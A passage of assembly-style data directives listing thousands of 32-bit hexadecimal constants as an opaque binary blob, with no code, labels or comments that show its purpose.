0A3709B1Eh, 0BE736200h, 987CF0h, 5ECB52E6h, 0ECC301B0h dd 926C4300h, 46C6C4D5h, 28B9006Dh, 0CC2B6A17h, 0E51CBD13h dd 0C4809DB2h, 0C7261EF5h, 5850E432h, 850052B4h, 1A8E7840h dd 407D2A4h, 684F0FB2h, 95CC4B63h, 4C2D44Ah, 2E00DE55h dd 9246DC47h, 0A7A2E1D3h, 0FA07838h, 0DA000CB4h, 0C5F95B65h dd 7EC6E699h, 131F075Dh, 61848A80h, 0FCAA71A7h, 3062EEDFh dd 22C32D29h, 3B22932Bh, 4A212272h, 2210124h, 74EF117Ch dd 1238A411h, 85641015h, 0CB08E389h, 84496D44h, 778E9D0Eh dd 4297C87Dh, 3D24361Bh, 1195F621h, 8111752Bh, 0A6911274h dd 0ED298B64h, 23536441h, 1C216512h, 0BAC43F4Dh, 1A2B009Ch dd 4A400630h, 2D00D59Dh, 3AEBF71Dh, 30311E38h, 0E5262866h dd 0CB01EC18h, 2E7F58CFh, 0ACE80FDEh, 0B22301C1h, 85405220h dd 455AC89Fh, 2C7A1439h, 0D20051F6h, 0FE950906h, 0B18C0096h dd 9E798988h, 0C50E981Bh, 0A0E69B7Ch, 54FFA46Dh, 854A3D53h dd 6C04C080h, 77ECE4F9h, 132DD01Ch, 0F752C487h, 483902E2h dd 0EBE7E04h, 0E0C7F4E3h, 24D1EDA0h, 0B505934Bh, 0CD8B832Bh dd 0C0B3F903h, 0EDDCE811h, 0B80E00A8h, 0FF3E867Ch, 9274888Dh dd 6458A61Eh, 0C0F6AF80h, 0C071BAA4h, 99BF7860h, 29008504h dd 0BEA1DFA3h, 3DC9A2B2h, 0E18386Eh, 44978A6h, 0E585C100h dd 0BD10DE3Bh, 140766Ah, 66B3C4CAh, 700B2725h, 0D200B7F5h dd 0CC5A999h, 0FA76EF3h, 66E00776h, 8114F5A0h, 11000BF4h dd 0D8CB8D5Bh, 75A490F8h, 1B681DFAh, 0DA5AC050h, 0ED992CABh dd 9CA98501h, 264B89BAh, 7DCE198Eh, 5004D820h, 4600111Eh dd 0F5444768h, 0B9F39h, 3DCA40B5h, 832E8551h, 8C412306h dd 396A8603h, 7F006D6Eh, 9BD0EF19h, 18000143h, 9239C027h dd 15B6465h, 0BE999598h, 606CBB14h, 700134F4h, 0D6FB75A1h dd 0D021C41Eh, 0FF8E89E4h, 6467F0E7h, 8FF63Dh, 786A106Dh dd 81C83847h, 2D607E00h, 62BFE70Bh, 0FE2CFC20h, 8F9D3C63h dd 0F1C53D00h, 0A6F05588h, 34581B24h, 56E4C300h, 0F8B6045h dd 48183773h, 0FBEC6120h, 0C9008D77h, 0D6F55228h, 8BC39Fh dd 2B79EBBEh, 0AE3C8374h, 0C2B53200h, 910D0385h, 147801FDh dd 90638A02h, 6F19702Eh, 1807C57Dh, 4B57E84Fh, 0BB093690h dd 6B5F05D1h, 0A5B34Ah, 81908CFCh, 58C08456h, 8F2B31A9h dd 108860B4h, 0DF8C7B4Bh, 0A648F470h, 3D310244h, 4088B241h dd 0A44D6Ch, 5438634h, 0BE2DEF21h, 12C4200h, 0E3F7324Fh dd 46EE24A2h, 0FFA60004h, 0E0B0976h, 5497A09h, 0A884A014h dd 7112D30h, 69D2D041h, 0F6FE6021h, 0E37259C4h, 0E886D00h dd 58AD3864h, 678C00D6h, 0EE5B770Ch, 94077804h, 0C469F7E9h dd 0DF102F97h, 77FFC3h, 0DBA1D3E0h, 6F5E31BEh, 0E57A9607h dd 52712908h, 84C0D430h, 0B3EF0A82h, 0C38016h, 32623F73h dd 42005172h, 9E0CDE26h, 1FE77A70h, 0C0CB2B98h, 78168BE8h dd 0EFFA3B13h, 0FA6F4800h dd 503A0496h, 0EA5C0E2Ch, 0C64761A9h, 0E57750D9h, 0C12D035h dd 0FC00BB12h, 0B6F532DFh, 0D67300E7h, 202F4426h, 770092F3h dd 0B9A77BE1h, 0F83E695h, 1957D564h, 81FD3EE0h, 560FDB51h dd 60391F54h, 0BD714A3Fh, 0ACD1004Fh, 7CC6B3A8h, 0BE0222A9h dd 0B46989AEh, 0D40061CBh, 2F8CE0h, 7C44ADBBh, 54CC0541h dd 0E3F5950Eh, 45D044Eh, 0AA5BF880h, 718E0098h, 20312EE2h dd 97EDF2h, 28CD5689h, 275188Ch, 885518E6h, 0AFC9E902h dd 80095EBAh, 23087CC8h, 11E447h, 2885499Fh, 1D8BC2F8h dd 11CE348h, 21E4794Ch, 88305410h, 74E0209Eh, 0D38E4F00h dd 3EB3DC50h, 0E972EDh, 8DA941EEh, 77624291h, 940349h dd 0F0EAFAB7h, 0F1DB0h, 0A4CF3F81h, 0E1DCA38Eh, 0FC620500h dd 2D77EA22h, 4EBD0C5Fh, 0A9700ED5h, 6723820h, 7C03A342h dd 630028D0h, 0BEC68EB3h, 721A3CD1h, 0A21D3DE3h, 0DB97F780h dd 0E131DAB8h, 88617C03h, 3E0C100Bh, 421EB938h, 6A6D397h dd 61BA65C0h, 0B276950Bh, 0BB2CA67Bh, 56AF0059h, 86CE8C22h dd 71758AAAh, 6C76E626h, 0A089410Fh, 6D15E3A6h, 99480006h dd 0A0EFDFC8h, 0E57169B3h, 13D02400h, 443B8658h, 5FC000FAh dd 8EA53853h, 0BD02409Eh, 0D69735E7h, 8DE44081h, 9020EDADh dd 27DDFBA6h, 2F849040h, 564D0024h, 785C7543h, 4A001286h dd 9A32AC6Ah, 980E201Fh, 0ECD4A095h, 4082482Bh, 0D8E5800h dd 3E73023Fh, 1BB0E405h, 16C03BC6h, 1D226B8h, 8D12BD16h dd 0FC315285h, 700D424h, 404F826Ch, 7A3D9D1h, 0A97A42B6h dd 0FECE1078h, 0C95069C0h, 961C32ECh, 9E899A0Ah, 0BA98803Bh dd 3CBAFh, 0A77D94A2h, 0A39B386h, 0B61BF907h, 0AF54B56Fh dd 3E0468C0h, 836D009Eh, 47AB791Dh, 3370E485h, 4D5FFF1Eh dd 0D8009D16h, 9631B846h, 659A00F2h, 177FDC22h, 97397445h dd 76D800BDh, 6AF4EB21h, 0A6AC0E07h, 0CF8011E1h, 905D7064h dd 0BC1A4F00h, 0B0C0A148h, 94BB005Ah, 286DC52Ch, 0F9000803h dd 0B44FCBEEh, 14899DFEh, 88888AE1h, 8EC6D100h, 3503A1C8h dd 4800E973h, 0A445648Ch, 0F7B55Eh, 1A49AE41h, 926D6684h dd 26B90D00h, 52279BF2h, 0F9610459h, 0ACFA748Dh, 6DC700B4h dd 0DA905A8Ah, 0AC030747h, 62178112h, 38E00A7Fh, 4E7CCF5Eh dd 521F2B00h, 0EB7768A1h, 117C0089h, 6E673C39h, 99029AE5h dd 0A957ACA7h, 0EE3840F6h, 5C584893h, 0F330E383h, 8176183Fh dd 0CAD907D7h, 0A2E8CD95h, 0E2580187h, 0D45360FFh, 0E51F8BCh dd 0D8EA3D03h, 0E8ECF369h, 501B598Eh, 0B8C2F4E5h, 0D68C0005h dd 1291F735h, 66B8A04Fh, 68C99500h, 0EABD2F72h, 0A7FE0098h dd 0A5A38803h, 430090E4h, 0D0323E13h, 3D780C30h, 1A8098B3h dd 38666B80h, 0B2009CACh, 7327F59Ah, 48C7EAh, 76AD1A36h dd 78A2052Bh, 34314603h, 0D0B7B185h, 0E41D70C5h, 0F8AB5E7Eh dd 0F19F0EDDh, 0E23040EFh, 35BCFAh, 0F0AFAC04h, 0ABF3C597h dd 0D6006FECh, 4886C961h, 72E5F82Fh, 0C331004Ch, 0AA4D7539h dd 8100222Ah, 1C2FB555h, 7B6A5Eh, 86B71D50h, 0FABA88B1h dd 453D8D00h, 0F7BBA892h, 8BF3001Fh, 43017B99h, 1009A141h dd 14FE3Dh, 2D2E3193h, 0D66900E3h, 6FCC4338h, 0AD05A6A1h dd 925B9DBCh, 0A7C62581h, 0BF15CB40h, 1BAC02CCh, 7ECF5F91h dd 0B0BC4460h, 1C001F71h, 0A93B4B39h, 0AA1DE5h, 3CCDF607h dd 1036CBD4h, 0EA118001h, 0C50EDF19h, 0EC85E4h, 0DDE12EBh dd 0C98A35BEh, 1F75E504h, 0D4805340h, 5E032FFh, 0DE296070h dd 0D4288147h, 0D9E1D839h, 0A927AA09h, 724280E8h, 0F4BD336Bh dd 0CB9F1F47h, 10FFC030h, 89349943h, 0E05ECD03h, 0A0E1A2D5h dd 4FEA3E8Fh, 87148009h, 4E078AD6h, 80E2C812h, 23D0E029h dd 0E16826BEh, 0CB1900A4h, 22748C6Dh, 0D2ECFB00h, 89EDBF94h dd 95AC0EB6h, 0AE808A83h, 0BCB4724Ch, 0FED3E100h, 9BBE6386h dd 384B844h, 79B173F6h, 93FF2F1Eh, 383C9488h, 19CF8024h dd 161D2517h, 74A8003Fh, 0E5467B31h, 0C0004330h, 935AFCADh dd 72B1C9h, 87EBBCF4h, 7716E9F7h, 46130D01h, 8945900Bh dd 12538EC4h, 718CFAh, 288207C6h, 0F2E4E5D7h, 20683E2Ch dd 0BB917880h, 0B5520B7h, 4A898EAFh, 0F21BAC80h, 80009DA1h dd 84CC22B0h, 0BDF615h, 42C9EAEBh, 687C089h, 0C5004BB8h dd 8A2D7E31h, 50742B7Ah, 0FA8BDC54h, 0A24900DBh, 299C8DB4h dd 0F900013Dh, 1BB6D0BFh, 38E49F65h, 0F8000CCAh, 248BDFACh dd 6977208Ch, 0E3EA93Fh, 0A09C7994h, 0FC261345h, 0B3A124DFh dd 2EDE01ACh, 0E48FBD9Bh, 0AF032CA5h, 0F8267E1Fh, 5EF08FADh dd 2A29261h, 6D084F47h, 0ECE80E9Ch, 0EFF0F1C0h, 0E6DCB400h dd 642071D1h, 855901CFh, 6EBB3D9Bh, 15A8ECFDh, 0AD751600h dd 658BC93Fh, 0A2620126h, 61C21CABh, 1EDB20E5h, 0CC5259h dd 0F75BEE1Fh, 193627h, 3AEF847Ah, 1833DF30h, 76BABB00h dd 23C421D7h, 592B003Ch, 0C1C37F60h, 11731A94h, 0BD765F00h dd 84B09172h, 98F9F490h, 0BB863B8Ch, 94DF98CCh, 6A008402h dd 6B8F851Bh, 0B01C7862h, 0D280AD1Ch, 372BD164h, 881F0082h dd 0BB42AA32h, 4006735h, 2CB90F87h, 1C558C38h, 8EEA0205h dd 8C03A9Bh, 0CA881DFCh, 4A977B00h, 0DD4BF713h, 0FF5B0104h dd 2569BAE2h, 86E8CCEDh, 5C091F3Ch, 4B790048h, 0B63B905Eh dd 6F6C0030h, 3A197B3Eh, 490305A9h, 8F60946Ah, 4C17A8BFh dd 7E9700B6h, 50BBCF75h, 380FA567h, 0AEC89278h, 85F46036h dd 794C712Dh, 27FA00CDh, 6EC95C7Ah, 6A007987h, 0EF7C5DC6h dd 0D1BDE9h, 3DF75E4h, 0A6968C2Dh, 0E6AE8F05h, 98C81B42h dd 0EA841102h, 40585DC8h, 0F7F7B8Bh, 39402259h, 0F79C00B6h dd 0ABAF51Dh, 0DE1403A4h, 0ED200996h, 0D09BA780h, 0A1830500h dd 2B4EF301h, 0A225005Bh, 96A6D462h, 0D87FDF52h, 65B0B903h dd 40F73E56h, 1DA9D0AEh, 3326C74h, 0D6F1FE3Fh, 30423CA1h dd 590BD768h, 1F4BA8Bh, 0FF5CD2A4h, 7A2530h, 51B2B54Ah dd 0A7EDCFB9h, 7417FA03h, 0B9D873D5h, 0FCE04FE4h, 3FF204F4h dd 0C3951AEBh, 62C01140h, 0D000F774h, 22B8BA3Dh, 60D869h dd 0CB0FEA05h, 6DE7F57Fh, 0C7A85C00h, 0EAC5373h, 3E510F8Ch dd 65E0FCA1h, 5D6E2CB6h, 1EBFB000h, 0E58A995h, 0E978003Eh dd 4F5F1315h, 715AEDFCh, 974D6C80h, 0A2C40041h, 93A89159h dd 0ED003F73h, 0F5860C9Ah, 1FD721DFh, 0FA4640E6h, 5242B80h dd 9E4B57C9h, 2CC6D600h, 537495E3h, 0F5A4098Fh, 4002EE1h dd 90E6BE81h, 5CFB7A00h, 6160366Bh, 0A3980026h, 23D7F137h dd 3B14661Dh, 0ADE5671h, 0BAE4ECCCh, 8B05FB00h, 0A6B7EDFh dd 0A42D5231h, 87E0019Ch, 615B9A1Ah, 0D0494404h, 69D25004h dd 1FC38B3Ch, 7B036EF7h, 0B055BC21h, 32186B36h, 0C2F01D4Ah dd 71A295C0h, 0EDB8680Fh, 93248081h, 10855Eh, 820E7D7Bh dd 0F2475891h, 0B36AF600h, 90B2A5ADh, 740300E7h, 0AFA2B0A8h dd 3A00389Fh, 6DA623C7h, 131878A9h, 0D0BE1EAEh, 0A2E0A4B4h dd 0C80ADE03h, 0C8E4728Eh, 6682E73h, 67640CFCh, 0B310C897h dd 107AC3B5h, 9B35CEh, 4BF808A2h, 5BFA3438h, 51100401h dd 925490BAh, 78C0363Fh, 0FD3EC1AAh, 7D94986Bh, 9B73E67h dd 1DDE1300h, 596D371Eh, 9471102Ch, 5C40FF17h, 0D6A54786h dd 75FD3F23h, 0F04D1C80h, 0EA0FEB69h, 70676137h, 53ECE6E0h dd 4C8A0437h, 80FA0318h dd 15FCC7ACh, 2012251Dh, 534B368Eh, 80F984D2h, 0C34948F8h dd 129B027Ch, 5F6364A6h, 2133B4E9h, 730FC810h, 287E7F00h dd 32456742h, 3A77F8ABh, 70A71923h, 0E976800h, 0C204C6B8h dd 0FD0A2D7Dh, 8B1838C0h, 54EC0F5Ah, 9240A929h, 0C103D00Ch dd 497FB100h, 7106261Ah, 4FF90064h, 0F5C83330h, 5600A8B3h dd 0AA1BB0D0h, 0E62B15h, 66847F97h, 0C7E29E47h, 0FDE7C0Fh dd 5646617Eh, 8096E48Ch, 3BA020C2h, 0EB25B6D6h, 82A4E113h dd 0BA0B5039h, 0A40456BEh, 679A80D2h, 1E008414h, 24BC8D83h dd 1D897A5h, 0A03B6A9Bh, 0C4B7D12Bh, 0FA24E631h, 5100AA12h dd 9480B6C2h, 0C17500DEh, 5D0A3FEDh, 8A0E0540h, 0C9F80DA8h dd 560508Ch, 0CBBFCD9Ch, 9A98003Ch, 0CABC86ADh, 0AC562700h dd 0D66CB499h, 0A475B0h, 0AAFFBB4Ah, 4C699764h, 1A01A690h dd 6A9661AEh, 0FFF04129h, 0C050649Fh, 3FF2821Fh, 42B26C84h dd 60BEF9C6h, 7FFBF8EFh, 103300B0h, 0CE3AAF63h, 4300AD57h dd 0B6750144h, 19D3A2BBh, 0F8A991F2h, 3C82C010h, 3BCC2000h dd 0D9154A65h, 0CD3D0008h, 0DA4C2E88h, 9BF6E801h, 94917900h dd 5B7DA495h, 2CB80Ah, 0EAABCF5Ah, 0B730E305h, 98AA5004h dd 0E480756Eh, 606FEBh, 817C291Ch, 0AD2EC8E4h, 42081600h dd 0A4526485h, 0B57E3C62h, 1BBF100h, 0D85D277Fh, 0C4000C79h dd 0E3EFD085h, 3E48C32Fh, 405AA8D9h, 0E19C9268h, 0B11C9E8Bh dd 60A5724Bh, 120D5C94h, 20E07D84h, 8C7CC678h, 6C008898h dd 0EDAC745Bh, 0B0F1648Ah, 6EDB0003h, 0C50D624h, 0BE00200Bh dd 25D9216Dh, 0F0E405E9h, 0B43D515Fh, 9AC0C5D0h, 0A9BA3964h dd 16191A03h, 0EAC0B181h, 490091ECh, 0E2980885h, 0F636C0ABh dd 0C9371E77h, 0E69600E5h, 3934DBB2h, 0FACE18C0h, 1F06970Bh dd 53F7FF83h, 60220ECDh, 6EC10401h, 13BC3C92h, 3020BB72h dd 0BEBA1h, 479C6281h, 0C44AA630h, 88A548h, 8FAA4893h dd 0F73D83Ch, 6AE7A168h, 7A86809Ch, 885D71A7h, 96487507h dd 40FFE9CCh, 0ADBD08AAh, 0D7BA3D50h, 850F770Eh, 60F6C9E7h dd 0C507C105h, 680158BCh, 0C439B902h, 0D8BB28BDh, 80046BAEh dd 78177E54h, 4DFC146Dh, 5C6858h, 76113D71h, 0D7073Fh dd 0EDBEDFE5h, 68376773h, 7D5ED302h, 40F11252h, 5A9A4F69h dd 9B200440h, 4E4D8163h, 8010BEC0h, 62269ABh, 0C8055F6h dd 0F2524627h, 29393D30h, 0FAC21CD9h, 2D148180h, 919B3EFh dd 11F3CD5h, 0C043A904h, 7BABF9ECh, 92EF7F17h, 0B5042421h dd 6D9030h, 0C3E10578h, 0D4768B21h, 2BDA0800h, 503356D3h dd 0B6F9034Bh, 29C869D7h, 7C887080h, 6D484700h, 98FB2809h dd 0D6E53AB4h, 0C9F9D389h, 0FE7900E7h, 0B7002D0Ch, 0B41E2663h dd 2A9DBCh, 4672FEDAh, 0BD136AE3h, 2B6B1A00h, 0AE3B6F74h dd 4AE68Bh, 4FBBC1Ch, 9DE99FA3h, 0E8CF48h, 9EC7FC14h, 3D5E886Ch dd 0B32674AEh, 942D02E0h, 0F8C9E3CDh, 0EB033E2h, 404C85E8h dd 0B0F31827h, 4EBE0B95h, 44C01346h, 6C3FF40Ch, 40390F6Ah dd 2CAB4037h, 484DF6h, 6831D6A0h, 35D32295h, 0FCC4D524h dd 0CBAFF100h, 28B3604Eh, 1A42C0Eh, 0D4D7D63h, 381FD2F4h dd 79300060h, 0CC2448Dh, 0CEF23D26h, 5016FE0Fh, 6EB0B8E0h dd 5A09B903h, 0DAABFFh, 0BE5F6F24h, 0FCB6039Ch, 0BFC5D0EEh dd 0A0E41800h, 6627C267h, 0BD9A008Bh, 0CF6CD705h, 7A3F82A4h dd 64B00E73h, 5BDCA496h, 676D60C0h, 3AED00BFh, 570EBDFFh dd 98B0AF71h, 82F3D207h, 120EC75h, 23D965h, 5A540AFBh dd 3D297C6Fh, 9AEF38h, 21CA40F9h, 62FC84h, 0C8C1E76Ch dd 0A811A415h, 0A526E00h, 5AD84BCDh, 0B9D2E0Fh, 37EA40F4h dd 0DD71A1F8h, 0F5812500h, 0EE38C798h, 22CC0B69h, 50A00583h dd 2BC4EF75h, 1DD23400h, 0A601FB50h, 837E0098h, 5A9D7D6Dh dd 300CEBCh, 0F6E0909Fh, 0F054F2C6h, 0DB6003F0h, 0FDCAE3F5h dd 6C770A88h, 0B8A1D17h, 0E6D91800h, 4C67900Eh, 5B0BB8FAh dd 2005F70h, 803EDEEDh, 2882B501h, 0D721EED1h, 840C6C7Ch dd 0DE5083B7h, 12FFCE00h, 0C9E4E8B5h, 0BF623DECh, 0A270BB0Ah dd 3F208024h, 0D0FE5B7Ah, 0A7093900h, 304388Fh, 0CC0C0780h dd 339F53F6h, 4DA0E1E9h, 280073DFh, 0CE9AB678h, 5F5337Fh dd 0C1C9B3D6h, 0E1D0C09Ch, 216017D8h, 5894958h, 0D4101DD6h dd 4C0280Ah, 92D89520h, 7C14A993h, 0D9E19F01h, 5C58CA54h dd 54A56130h, 5CA9108Fh, 1C2C644Eh, 0D4C00084h, 6A56A4C2h dd 0D1095170h, 24D79792h, 0ECE95978h, 6077F107h, 0D6E78F6Fh dd 0FB2E209Dh, 0E925B754h, 1CE880BDh, 28E8268Dh, 3E087112h dd 0B300DEF0h, 681BC587h, 6B01F3DDh, 0BD41F832h, 403A9272h dd 4B49C77Ch, 6707610Ah, 0BE1E7EFEh, 0F25B029Eh, 9CA074BDh dd 300FE548h, 0E88EE704h, 0CAF3AF0h, 185642DBh, 41C183F9h dd 0FBC5D855h, 0AC30AE78h, 73723925h, 0C92B1942h, 80B51202h dd 0ABFA6368h, 3234065h, 0DE57F4B2h, 87C03A62h, 54A04A08h dd 24A22747h, 0BFC2E45Eh, 99EDE0FDh, 6AD600B9h, 7CF240A0h dd 377984D8h, 4FEE8C03h, 182972FFh, 0A070016Ch, 67E6C473h dd 0C32C5C00h, 0C2A1E9BAh, 0E8BF0026h, 0C938281Ah, 0A79839FAh dd 623B89E6h, 0E0298064h, 84BC65C4h, 2F763BA8h, 8668F90Bh dd 1EB91800h, 0B40E1BF1h, 7D778Ah, 0B39A1CADh, 0F97CC5h dd 8482C07Ch, 9EC2C71Dh, 23B08954h, 0F0268B39h, 83C8880Eh dd 0ED085948h, 93038050h, 0B4280125h, 0F4EEFB1Fh, 0F004DC02h dd 57502262h, 2308E3F9h, 0D07B058h, 0F8042126h, 0C920B762h dd 1C702695h, 745D443Eh, 374B9A8h, 64F89A24h, 0D2110074h dd 4904A70h, 0BF19273Fh, 8B0846F1h, 0B12CAC28h, 8184001Eh dd 7435C889h, 0ADC12300h, 0D3F937F0h, 806D06A0h, 689CE553h dd 3C81CB00h, 89776760h, 387413E0h, 2214E49Bh, 2FBDCD00h dd 0C762AE41h, 8A66647h, 6BE421D0h, 0ECEFBD07h, 0B9E0585Eh dd 989415DDh, 950C174h, 8A240FF6h, 888C9F78h, 0FA9887BCh dd 0E607EA4h, 3054C69Ah, 0FB905845h, 7807E1DAh, 531367Ch dd 7D70A2C7h, 47CDD4h, 0A33F259Ch, 0E84AB212h, 5B98B51Dh dd 0F381040h, 9160E7h, 8E352792h, 0FDD60678h, 84559F00h dd 88DF5CEEh, 0F32A00CBh, 0A893649Ah, 12077C6Ch, 5EB5B49Dh dd 0FD61DC10h, 91770BC8h, 0C58062C4h, 4DE4590Bh, 6B9B7100h dd 70EB5F97h, 0BAF93038h, 52BC5C70h, 0D4E9D9ECh, 95003141h dd 0A3C240DCh, 186E717Ah, 3C82BD4Ch, 0B3079E55h, 3688DC4Ah dd 0D4DA16D0h, 1066004Bh, 0C5561732h, 4D008497h, 3ABAE291h dd 0B51E82h, 9B7C4CE0h, 69FAB16Ch, 1F512400h, 0C1D23B1Ah dd 0D5F80055h, 225AD70Fh, 0DA009B43h, 68CF94Dh, 1716197h dd 0AA6EF07Bh, 81D7245Eh, 375A62B9h, 9C501A3Bh, 73A7C3h dd 93F69231h, 0CD4E21B8h, 0D5E2C707h, 8420F53Ah, 4B8945h dd 9A9B6DAAh, 417AA88Ah, 2B77EF03h, 0A80B0F55h, 0EE6C4E30h dd 281F0006h, 0CEF9A702h, 0B3343FD0h, 47F11CAh, 517D5718h dd 35003D42h, 0E2FCEBDEh, 1EBA4877h, 0E6E122h, 4B36CDF8h dd 0A23FC9DCh, 0C34700D9h, 8C3A4180h, 54F90016h, 35FFB88Eh dd 2200158Bh, 1D1EBBDEh, 72BF2Bh, 2ECCCA1h, 0A7FCDC0h dd 14DCDA00h, 7A22630Dh, 0AB9700AAh, 30AFC29Fh, 0D000AED5h dd 0FCCEF356h, 782E0A4Eh, 8EA400C6h, 1C2F5B86h, 0C71CCC3h dd 680049E0h dd 0FBFC3489h, 4D08FDh, 0D87B10BCh, 909CA96Dh, 0DE7660E1h dd 0B32C1400h, 4D693397h, 135C05F3h, 80D0BE0Bh, 21D53622h dd 9924FE0Eh, 4D1500CAh, 0FEE79F7Eh, 33D09026h, 0C0580D20h dd 0F969FA00h, 0AC53DB43h, 9C0F3E2Fh, 3081093Dh, 0F3664F2Ah dd 8659C8ABh, 3C016506h, 99F453h, 0C91E31B0h, 0C38B9EDFh dd 0E4F56100h, 0CF97F39Ch, 0F2A60530h, 0C00B9055h, 2EF40FD9h dd 0D7A00C60h, 51B306Ah, 0E5698664h, 70C403h, 438EB2E4h dd 28C0BBB9h, 9D472E09h, 0E4B600D2h, 0C2D35F49h, 6800BDCEh dd 1588FC8Eh, 987451D5h, 0F9C0055h, 0F1382A3Eh, 98C0C669h dd 0D4A4F244h, 0ED1404C1h, 90036408h, 5F6D7E18h, 0E5D1C303h dd 907FDE74h, 3F01CB9Eh, 978036FDh, 0F0A61F43h, 0DF07242Eh dd 0D7A36A54h, 0E7D1FE13h, 0AF9BF9D0h, 0CA8918D9h, 565B06Eh dd 9200C679h, 0A0EE19CFh, 7A47D3h, 0E84CB6FFh, 72A1AA4h dd 0E9DABDA0h, 0E1377B13h, 0A19D4A00h, 3C753331h, 0FE0013A6h dd 0EF7C0BB9h, 49002005h, 0B1808C16h, 0E631B08h, 0A497691Fh dd 0E83E5820h, 0CAFE6087h, 6E64300h, 0ED68BE8Ch, 597B00EEh dd 0F0724A20h, 0B7381BA9h, 2AB28650h, 0C8CDC8h, 0D3E326EBh dd 1063A42Eh, 0D682A65Bh, 6AC4812h, 51600C8h, 68D53152h dd 1D306DB2h, 0EF1114Eh, 88802D4h, 0F5068E5Ch, 0DB001ED6h dd 73C3AB96h, 707E00AAh, 3FA272A5h, 6100F85Bh, 0DE660A15h dd 8C3702h, 25DC2D54h, 0FB294AEh, 3CF0095Fh, 0D8C714C1h dd 6000D867h, 0E8C5FCC3h, 0F2902CD6h, 4A36B301h, 40A654FFh dd 0A4D9DCh, 21751982h, 0E0F4B8A1h, 36D16C0Fh, 6312609Fh dd 0B0FA59E1h, 18660189h, 0BA3E072Dh, 4047C971h, 8565DFFh dd 5109B1E0h, 80B2C2h, 855FF608h, 1983001Fh, 8CB075B5h dd 70004F56h, 0E913A239h, 5F79F55h, 97E5D5BDh, 4E9C40CBh dd 9161CEA4h, 0C0199E00h, 10ECABA8h, 0E9B70415h, 0C09C0E69h dd 0E5D8391Ch, 7002B48h, 38D78395h, 5D239A60h, 5715183Eh dd 48FF8881h, 5342D5A2h, 68B23C80h, 0EEEA5CB1h, 1BE18200h dd 57737A12h, 0E4EC6Ah, 0D80255AEh, 0AAB8D19Bh, 18A50C00h dd 1A77D7A4h, 0D0B600A6h, 0E6BA473Bh, 0C700FF98h, 4C57C59Dh dd 9A7B6Dh, 3794D8DAh, 0B274FDDCh, 5F255E03h, 98441611h dd 0E0DF615h, 0BACDB94h, 23FDC6C0h, 0B40154ADh, 45A8DA49h dd 28BC1FABh, 260F5700h, 25BA2A2Bh, 0E432F501h, 0BB01B011h dd 752EA1E8h, 0F30800EDh, 0ECDAE9A5h, 0A4A811C5h, 2B00E250h dd 5B7121D3h, 3B2EED2Dh, 0B000EFAAh, 0DFE63F0Ch, 2A7F2393h dd 0A50F3Eh, 60E9814Bh, 48899116h, 5D00D69Ch, 0E14E8C4Ah dd 2D00F974h, 2E71E27Ah, 796E2276h, 0F65B0061h, 75F56772h dd 2800FA89h, 0DDDB7057h, 0E0A60EB6h, 0AD4B00FFh, 1BF3E449h dd 0E27F652Fh, 0F8FEA50Eh, 6051E066h, 0FB3753h, 0F163FFB7h dd 0DE2F42C1h, 138A24Ch, 600AEFDBh, 60EE5FC2h, 8B5518h dd 0F41EC530h, 0BE1F5C4Fh, 36266024h, 80580509h, 5932E8E8h dd 0DAE4B0h, 0E79BAC20h, 633D180Dh, 6D9FD502h, 68147EB5h dd 0AA5D40h, 0C8B1956Ch, 6D26EA34h, 65B80B04h, 59C0AD3Ch dd 1D638Eh, 0F8442030h, 0AA667C31h, 98D18302h, 80DDE95Fh dd 0A6FEDCA8h, 0F17E070Eh, 79BCEh, 7FC81AAFh, 50D7090Eh dd 790DC015h, 804497h, 39B172E9h, 0B8229BEAh, 144E2400h dd 5936A615h, 719A00EDh, 0F1F4A4C6h, 69FE46D5h, 0ED205Ch dd 5D7392BEh, 137E1Eh, 573553EEh, 36F7AB51h, 0ACEAFC00h dd 9DC66FAFh, 81AA00D0h, 0C7971337h, 1100B7D7h, 0AE790E2Fh dd 730C66EEh, 0BD1A005Ch, 0F7CE46ADh, 0F126B211h, 3B366Eh dd 0AB048C09h, 9E9BD3h, 4CF9946Ah, 378ECF17h, 71927001h dd 0F24680C9h, 0F41061F0h, 0E5760040h, 66BE31EBh, 0C04B20DDh dd 0D93B51A8h, 67F60C03h, 0D098F49Bh, 95025539h, 0B121B330h dd 76A4A0E0h, 24426D6Eh, 1E22D578h, 0C2540007h, 0FE33818Eh dd 0F0364300h, 0F4F14D4Ch, 0A20204D8h, 87B73CC8h, 6097F75Fh dd 0A7352733h, 0B9658C2Eh, 745FCB01h, 0EE40637Eh, 6ED904h dd 0EE8A352Eh, 0FEF0B9BFh, 241A4C00h, 0CDC5D152h, 614300FCh dd 558E413h, 0AE00D7E1h, 0D6F0B642h, 607E998Eh, 0FABD9C07h dd 0AA00ACD8h, 8B78AD3h, 542B61h, 74AFA526h, 0E9700AB8h dd 9F3F100h, 4580A12Dh, 0B41E00C2h, 0F8EE2142h, 2F0F3757h dd 263CF47Ah, 0A0881D74h, 177FEC1Bh, 40B5AD45h, 0D60A64DCh dd 34007A10h, 962CCBBh, 0EEC6E592h, 5C5105C4h, 88EA2A14h dd 0A0006994h, 0A936FE8Dh, 9AA5ECDCh, 8CD25CA4h, 49E7D102h dd 0C9423963h, 0EB4FF468h, 760608E8h, 0C625D70Eh, 21677C2h dd 50641FDFh, 2450A82Fh, 694C3A00h, 0E15D77Ah, 7AFE748Ah dd 7721C762h, 939FC0F7h, 6C004E5Ch, 0CF64E404h, 0B9D66Fh dd 0F751AB06h, 292401DBh, 0DE074Ch, 0A8A48DAFh, 0F6B9E3AEh dd 5B9300F2h, 0A2A9C70Dh, 0B51CDEBCh, 0D180B6E0h, 0F5F2CC39h dd 5C8B90A6h, 0E7888FEh, 0B6350DC6h, 0E35CED80h, 1A3DE951h dd 0C0C10045h, 0B70A180Ch, 53960291h, 0A822E3EAh, 0B0B76BC3h dd 27E6B01Ah, 0E1EC0F3h, 87F2C505h, 0C020F984h, 62E8264Ah dd 2F79E0A6h, 89EA8C81h, 878320DCh, 0CF007390h, 3BCEC434h dd 471A83h, 0F59B1E7Eh, 81184DE9h, 0D7021C00h, 6BDBABE7h dd 84E43D85h, 0EAEC7280h, 0B048F39Dh, 8A3E3F00h, 87FD3B99h dd 2C4009Ch, 6932D04Ch, 0E4009129h, 0B73DE3ADh, 4C48AA95h dd 1E009AE1h, 1BA02CE5h, 0FC7B49C1h, 20B9230Eh, 2B64E046h dd 3EAE1Dh, 9C990958h, 5227D84Ch, 0C8057471h, 3B671A38h dd 5D29E00h, 0DEFBA4h, 9D0B11E5h, 207099BBh, 1FBCB900h dd 458DDAEFh, 0EC0E3995h, 0E2184C04h, 0FC14A10Ah, 0A800B876h dd 46593925h, 2DA2BBh, 0FA3D8374h, 